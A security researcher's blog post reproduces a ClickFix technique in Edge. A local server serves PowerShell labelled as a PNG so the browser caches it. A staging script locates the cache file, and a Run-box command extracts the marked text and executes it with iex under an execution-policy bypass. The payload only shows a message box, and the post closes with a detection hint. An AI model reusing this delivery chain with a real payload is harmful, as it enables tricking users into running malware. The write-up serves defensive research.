Skip to content
Go back

Field Notes

Hiding ClickFix Payloads in Browser Cache

Microsoft Threat Intelligence reported a ClickFix page that fetched VBScript into Firefox’s cache as a supposed PNG. Its Run command found the cache entry by size, copied it to a .vbs file, and launched wscript.exe. I wanted to try the cache handoff itself, using Edge and a payload that only displays joshallman.co.uk.

Put the payload in Edge’s cache

My local server serves an HTML page that fetches /cache-demo.png. The query value changes on each request, so Edge asks for a new URL instead of reusing an older response:

page = f'<script>fetch("/cache-demo.png?trial={time_ns()}").then(r=>r.text()).then(t=>document.body.textContent="cached "+t.length)</script>'.encode()

The response is labelled image/png and cacheable, although its body is PowerShell. The extension and MIME type do not validate the bytes.

self.send_header("Content-Type", "image/png")
self.send_header("Cache-Control", "public, max-age=86400")
self.wfile.write(PAYLOAD)

The payload prints the domain and opens a message box. I wrapped it in markers because Edge’s cache file contains other data besides this response:

#JOSH
Write-Host 'joshallman.co.uk'
Add-Type -AssemblyName System.Windows.Forms
[void][System.Windows.Forms.MessageBox]::Show('joshallman.co.uk', 'Browser cache PoC')
#END

The staging script starts Edge with a separate profile under %LOCALAPPDATA%\CacheRunPoC\EdgeProfile. After the fetch, it scans Edge’s Cache_Data files for the marker and writes the matching filename into the Run command:

subprocess.run([
    str(EDGE), "--headless", "--disable-gpu", "--no-first-run",
    f"--user-data-dir={PROFILE}", "--virtual-time-budget=3000",
    "--dump-dom", URL,
], check=True, timeout=30, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

matches = [
    path for path in CACHE.iterdir()
    if path.is_file() and b"#JOSH" in path.read_bytes()
]

Edge put this run’s payload in data_1. That filename is not guaranteed; clearing or rotating the cache can invalidate the command.

Read it from Run

The generated command is 243 characters, with no username or checkout path:

powershell.exe -NoP -NoExit -EP Bypass -C "$m=[regex]::Match((gc -Raw -Encoding UTF8 (Join-Path $env:LOCALAPPDATA 'CacheRunPoC\EdgeProfile\Default\Cache\Cache_Data\data_1')),'(?s)#JOSH.*?#END');if(!$m.Success){throw 'cache miss'};iex $m.Value"

gc -Raw reads the whole cache file. The (?s) regex pulls out everything between #JOSH and #END, including line breaks. iex executes that extracted text as PowerShell; no .ps1 file is created. -NoExit keeps errors visible. -EP Bypass is scoped to this process, but the decisive step is iex, which treats cache content as code.

I confirmed the marker in Edge’s cache and got the domain and message box in a local PowerShell test. The first desktop Win+R attempt hit a missing cache file. I restaged it in that desktop session and confirmed data_1 was present, but have not rerun the final Win+R command there.

Microsoft’s chain used Firefox, a byte-size match, and wscript.exe. This test uses Edge and an explicit marker, and stops at the message box. The behaviour to look for is the handoff: a browser cache file being read by a script interpreter after a Run command.